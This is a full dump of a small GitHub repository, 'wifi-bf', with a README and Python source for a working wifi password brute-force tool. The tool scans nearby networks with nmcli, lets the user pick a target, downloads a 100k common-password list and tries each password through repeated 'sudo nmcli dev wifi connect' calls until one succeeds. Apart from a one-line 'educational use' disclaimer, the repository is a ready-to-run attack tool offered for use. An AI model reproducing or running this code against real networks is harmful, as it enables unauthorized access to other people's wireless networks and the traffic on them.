Full Code of flancast90/wifi-bf for AI

Repository: flancast90/wifi-bf
Branch: main
Commit: 58d538b36e9c
Files: 6
Total size: 13.0 KB

Directory structure:
gitextract_yu97j5fu/

├── .gitignore
├── LICENSE
├── README.md
└── src/
    ├── .gitignore
    ├── __main__.py
    └── ssid.py

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
*.txt


================================================
FILE: LICENSE
================================================
MIT License

Copyright (c) 2021 Finn Lancaster

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.


================================================
FILE: README.md
================================================
# wifi-bf
> \[LINUX ONLY\] A (completely native) python3 wifi brute-force attack using the 100k most common passwords (2021)

<br />

_This script is purely for educational use. Any consequenses or damages arising from the usage of it in an illegal or unethical way are purely the fault of the end-user, and in no way is the developer responsible for it._

<br />

### Usage
#### Starting
Via python (direct)
```bash
$ cd path/to/wifi-bg/src
$ python3 __main__.py
```

#### Commands
wifi-bf has som optional flags/commands that change change its default behaviours. Below is the list given by ``__main__.py --help``:
```
optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     The url that contains the list of passwords
  -f FILE, --file FILE  The file that contains the list of passwords
  -v, --verbose         Optional: Use to show all passwords attempted, rather than just the successful one.
```

#### Attacking/Screenshots
After starting the program, a menu will appear containing all available nearby networks.
![Start Menu](https://i.imgur.com/RWAIroT.png)

From there, just enter the number network to attack, and a menu like below will appear. 
![Running Output](https://i.imgur.com/wNEu8Ya.png)

The colors output by the program mean the following:
**Color Code Information**
- ![#f03c15](https://via.placeholder.com/15/f03c15/000000?text=+) `Password Failed, Unhandled Error`
- ![#00af87](https://via.placeholder.com/15/00af87/000000?text=+) `Password Cracked`
- ![#5f00ff](https://via.placeholder.com/15/5f00ff/000000?text=+) `Testing (password)`

#### Credits
Wordlist: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt

<br />

### License
```
Copyright 2021 Finn Lancaster

Permission is hereby granted, free of charge, to any person obtaining a copy of this
software and associated documentation files (the "Software"), to deal in the Software 
without restriction, including without limitation the rights to use, copy, modify, merge,
publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons
to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or
substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
```


================================================
FILE: src/.gitignore
================================================
__pycache__*

================================================
FILE: src/__main__.py
================================================
import argparse
import subprocess
import os
from ssid import start
import urllib.request
import sys
import time

# service NetworkManager restart

def cls():
    os.system('cls' if os.name == 'nt' else 'clear')
    
def header():
    print('''
==============================================================
	██╗    ██╗██╗███████╗██╗      ██████╗ ███████╗
	██║    ██║██║██╔════╝██║      ██╔══██╗██╔════╝
	██║ █╗ ██║██║█████╗  ██║█████╗██████╔╝█████╗  
	██║███╗██║██║██╔══╝  ██║╚════╝██╔══██╗██╔══╝  
	╚███╔███╔╝██║██║     ██║      ██████╔╝██║     
	 ╚══╝╚══╝ ╚═╝╚═╝     ╚═╝      ╚═════╝ ╚═╝     
                                     
                 https://github.com/flancast90
                         By: BLUND3R                 
==============================================================
    
    ''')

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    VERBOSEGRAY = '\033[170m'


"""
    This function cutlize the argparse which gives a description of the program and
    the list of arguments supported
"""


def argument_parser():
    parser = argparse.ArgumentParser(
        prog="wifi-bf",
        description="Brute force wifi password with python 3"
    )

    parser.add_argument(
        '-u', '--url',
        type=str,
        default=None,
        help='The url that contains the list of passwords'
    )
    parser.add_argument(
        '-f', '--file',
        type=str,
        default=None,
        help='The file that contains the list of passwords'
    )
    
    parser.add_argument(
    	'-v', '--verbose',
    	action='store_true',
    	help='Optional: Use to show all passwords attempted, rather than just the successful one.'
    )

    return parser.parse_args()


"""
	This functions returns a list of passwords from a url
"""


def fetch_password_from_url(url):
    try:
        return urllib.request.urlopen(url)
    except:
        return None


"""
	This functions saves a list of passwords to a file
"""


def save_passwords_locally(passwords):
    with open('passwords.txt', 'w') as file:
            for password in passwords:
                decoded_line = password.decode("utf-8")
                file.write(decoded_line)


"""
	This functions checks if a local password file is found
"""


def local_passwords_file_exists():
    return os.path.exists('passwords.txt')


"""
	This functions returns a local previously downloaded local passwords file
"""


def get_local_passwords():
    with open('passwords.txt', 'r') as file:        
        return file.readlines()


"""
	This functions checks whether the user is running the program as root. If the user is not a root,
	an error message is displayed and the program exit
"""


def require_root():
    r = os.popen("whoami").read()
    if (r.strip() != "root"):
        print("Run it as root.")
        sys.exit(-1)


"""
	This functions shows the user the list of targets
"""


def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "

        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
            calc = int(columns)-int(width)
            
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
                
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])
        
"""
	This functions prompt the user to enter the target choice and returns the choice.
	The function runs in a loop until the user enter the correct target
"""


def prompt_for_target_choice(max):
    while True:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1 and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e

        print("Invalid choice: Please pick a number between 1 and " + str(max))


"""
	This function takes the targeted network and list of password and attempt to brute force it.
"""


def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()

        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose is True:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)

        if (len(decoded_line) >= 8):
            contain = False
            
            while contain == False:
                available = os.popen("nmcli -f SSID dev wifi").read()
                available = available.split('\n')
                available = [item.strip() for item in available]
            
                if selected_network in available:
                    contain = True
                else:
                    time.sleep(1)
            
            commands = [
                "sudo",
                "nmcli",
                "dev",
                "wifi",
                "connect",
                selected_network,
                "password",
                decoded_line,
            ]
            
            try:
                output = subprocess.run(commands, capture_output=True, text=True, 
                    check=True)
                if "error" in output.stdout.lower():
                    if args.verbose is True:
                        print(bcolors.FAIL+"** TESTING **: password '" +
                            decoded_line+"' failed."+bcolors.ENDC)
                        print(f"{bcolors.VERBOSEGRAY}{output.stdout}{bcolors.ENDC}")
                elif "successfull" in output.stdout.lower():
                    sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                        decoded_line+"' succeeded."+bcolors.ENDC)
                else:
                    print(f"Unknown output: {output.stdout}")
            except subprocess.CalledProcessError:
                if args.verbose is True:
                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)

        else:
            if args.verbose is True:
                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)

    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)


"""
	The main function
"""


def main():
    cls()
    header()
    require_root()
    args = argument_parser()

    # The user chose to supplied their own url
    if args.url is not None:
        passwords = fetch_password_from_url(args.url)
    # user elect to read passwords form a file
    elif args.file is not None:
        file = open(args.file, "r")
        passwords = file.readlines()
        if not passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:
        # fallback to the default list as the user didn't supply a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)
        if passwords:
            save_passwords_locally(passwords=passwords)
            passwords = get_local_passwords()
        elif local_passwords_file_exists():
            passwords = get_local_passwords()
        else:
            sys.exit(bcolors.FAIL+"Fetch failed. Check internet status."+bcolors.ENDC)
        

    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    if not networks:
        print("No networks found!")
        sys.exit(-1)

    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    cls()
    header()
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

    brute_force(target, passwords, args)


main()


================================================
FILE: src/ssid.py
================================================
import subprocess

def start(code):
	r = subprocess.run(["nmcli", "-f", "SSID", "dev", "wifi"], capture_output=True, text=True).stdout
	grep = r.split("\n")
	
	s = subprocess.run(["nmcli", "-f", "SECURITY", "dev", "wifi"], capture_output=True, text=True).stdout
	grep_s = s.split("\n")

	networks = [k.strip() for k in grep if (k.strip() != "SSID") and (k.strip() != "--") and (k.strip() != "")]
	net_type = [k.strip() for k in grep_s if (k.strip() != "SECURITY") and (k.strip() != "")]
	

	ssid = []
	security = []

	for i in range(len(networks)):
		if networks[i] not in ssid:
			ssid.append(networks[i])
			security.append(net_type[i])
	
	if (code == 0):
		print(ssid)
		print(security)
	else:
		return [ssid, security]
		
if __name__ == "__main__":
	start(0)